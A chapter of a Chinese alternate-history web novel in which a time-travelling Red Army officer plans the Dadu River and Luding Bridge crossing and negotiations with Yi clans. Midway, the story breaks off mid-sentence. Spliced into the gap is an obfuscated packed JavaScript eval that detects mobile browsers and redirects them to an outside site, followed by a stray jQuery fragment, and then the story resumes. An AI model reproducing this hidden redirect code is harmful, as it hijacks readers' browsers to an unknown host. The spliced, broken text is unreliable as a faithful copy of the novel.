“我倒是觉得,龙文成同志的建议,有一定道理。”
他说着,指着那份略有些粗糙的地图,“而且我也觉得,敌人不会真的拆掉泸定桥上的铁索,最多是把木板什么的拆掉。”
说完,他便将自己的分析说出来。
原因其实也很简单,这条大渡河只有泸定桥这么一座铁索桥,两岸百姓,不管富贵与否,走亲戚做生意,都指望这么一座桥梁。
军阀刘文辉部队调动,也指望这座桥,
红军终归只是路过的,但是当地百姓们,甚至是刘文辉这些军阀和地主们,却都要指望着这座铁索桥连通大渡河两岸呢。
而且炸掉容易重建难,当年康熙花了不知道多少银子,才把这座铁索桥建起来。
刘文辉可没有那个本事,将桥梁炸掉之后,再在上面重新建起来一个。
而且只需要将木板拆掉,江面上只剩下13根光溜溜的铁索,到时候几挺**在对岸架设好,谁敢攀援铁索就直接开火扫射,谁能爬的过来?
既然收益一样,肯定是选择最低成本的方案执行,不然红军一走,看着断掉的铁索桥,刘文辉那才叫欲哭无泪。
一番分析之后,龙文成心中更是钦佩。
他可以开天眼,知道前因后果,可得胜大大却不知道啊,即便如此,也能将整个事情分析的如此鞭辟入里,着实厉害。
最关键的是,这位还没正经上过军校,打仗的本事基本是从史书兵书里面学的,算是军事散修,纯野路子出身。
这一番话,总算将众人说服,不过最终决定还是主力在安顺场渡江,同时派遣红18师主力沿大渡河北上,想办法抢占泸定桥。
若是能够将泸定桥拿下,并且桥面可以正常使用,那主力部队就直接挥师北上,从泸定桥上渡河。
除此之外,还会派遣一支部队,向甘洛和汉源一带移动,伪装成主力部队,让他们误导敌军追击部队,以为他们要走汉源方向渡河。
做好这些安排之后,他做会议总结,说了一段话。
“为了进攻而防御,为了前进而后退,为了向正面而向侧面,为了走直路而走弯路。
天下的事,并不以你的意志为转移,你想这样,偏一下子办不到,等转一圈回来,事情恰又办成了。”
龙文成将这话记在自己的笔记本上。
这次会议之后,龙文成继续作为先头部队行进,在抵达安顺场之后,直接北上泸定桥。
主力部队则会在安顺场一带尝试渡河。
就一切安排妥当,所有的部队都来不及休整,龙文成返回德昌县城之后,就火速召集部队,一路向大渡河安顺场方向进发。
将物资整理打包好之后,龙文成这骡马化的部队,便以一日百里的速度向北行进。
沿途几乎没有遭遇到什么抵抗,刘文辉得知德昌和会理,还有西昌全部丢失之后,就果断命令部队全部撤退到大渡河北岸。
随后又下达命令,将两岸的船只全部凿沉焚毁。
龙文成带领部队,一路向安顺场方向进发。
他的部队完全实现了骡马化,哪怕携带的辎重,几乎赶上了整个中央纵队,但是行军速度却并不算慢。
这条路需要过冕宁县,还有彝族区,路上并不好走。
这种不好走,并不是说路不好走,毕竟多难的路他们也都走过,而是当地军阀长期对当地少数民族,采取歧视性政策,所以导致当地彝族和汉族的关系长期紧张。
历史上的红军部队,在抵达冕宁县的时候,当地县长就连夜提桶跑路。
结果呢,在经过彝民区的时候,就被当地彝族同胞干掉了,估计平常也没少干欺负当地彝族同胞的事情。
所以在成功占领冕宁县的时候,为了避免不必要的冲突,龙文成就召集众人,群策群力地进行讨论。
“直接给钱咋样?”
文颂家里是做生意的,想到的也是最简单粗暴的方法。
“毕竟有钱能使鬼推磨。”
可这个方案却被龙文成直接否定了。
原因也很简单,这种用金钱建立起来的关系,也可以被金钱摧毁。
历史上就有先
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16182597|181011||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
例,翼王石达开当时就是采取给钱买路的方法,成功通过彝民区。
结果当时追赶他们的敌军,也用同样的方法,给了彝民更多的钱,让他们反过来掉头去包抄翼王石达开的后路。
再往后就是这些敌人和彝民一起**石达开,导致翼王兵败安顺场。
杨刚一拍桌子道:
“那直接打过去。”
这话引得众人都瞥过去一眼。
现在时间紧迫,倒不是说打不过,可真的打起来,耽误时间不说,屁股后面的中央军可是穷追不舍,先头部队甚至已经渡过了金沙江,随时可能咬住他们。
负责垫后阻击的红五军团,能为他们争取多少时间来处理这些彝民区的部落?
更何况当地人熟悉地形,想要和红军打游击战简直不要太容易,到时候大概率是一场烂仗,损兵折将不说,还会被中央军迫近追击距离,绝对是下下之策。
“还、、、、还有个招。”
这次说话的是林阙,他在房间角落处,怯生生地举起手。
龙文成目光看过去,笑呵呵道:
“林阙同志,别紧张,尽管说话。”
林阙这才深吸一口气,挺起胸膛道:
“我当兵之前,不是在云贵川一带贩马吗?所以经常去这些彝民区和藏民区收马,这一来二去的,认识的人不少。
前面这彝民区我来过,主要是两家人,罗洪家和沽基家,我和他们两家首领关系还算不错。去和他们协商沟通,说不定这事儿能成。”
听完林阙的话,龙文成这才知道,自己在贵阳这是捡了个大宝贝啊。
“林阙同志,那这事儿就拜托你了,如果实在不行,到时候咱们再想办法。”
林阙重重点头,接下这个任务,第二天一早就出发去往罗洪家的领地。
一直到下午的时候,在冕宁县城的龙文成一行人,才终于等到林阙带着人过来。
他带回来一个消息,那就是在彝海湖边,同沽基家首领**会面,但是具体能谈成什么样子,那就得看龙文成的本事了。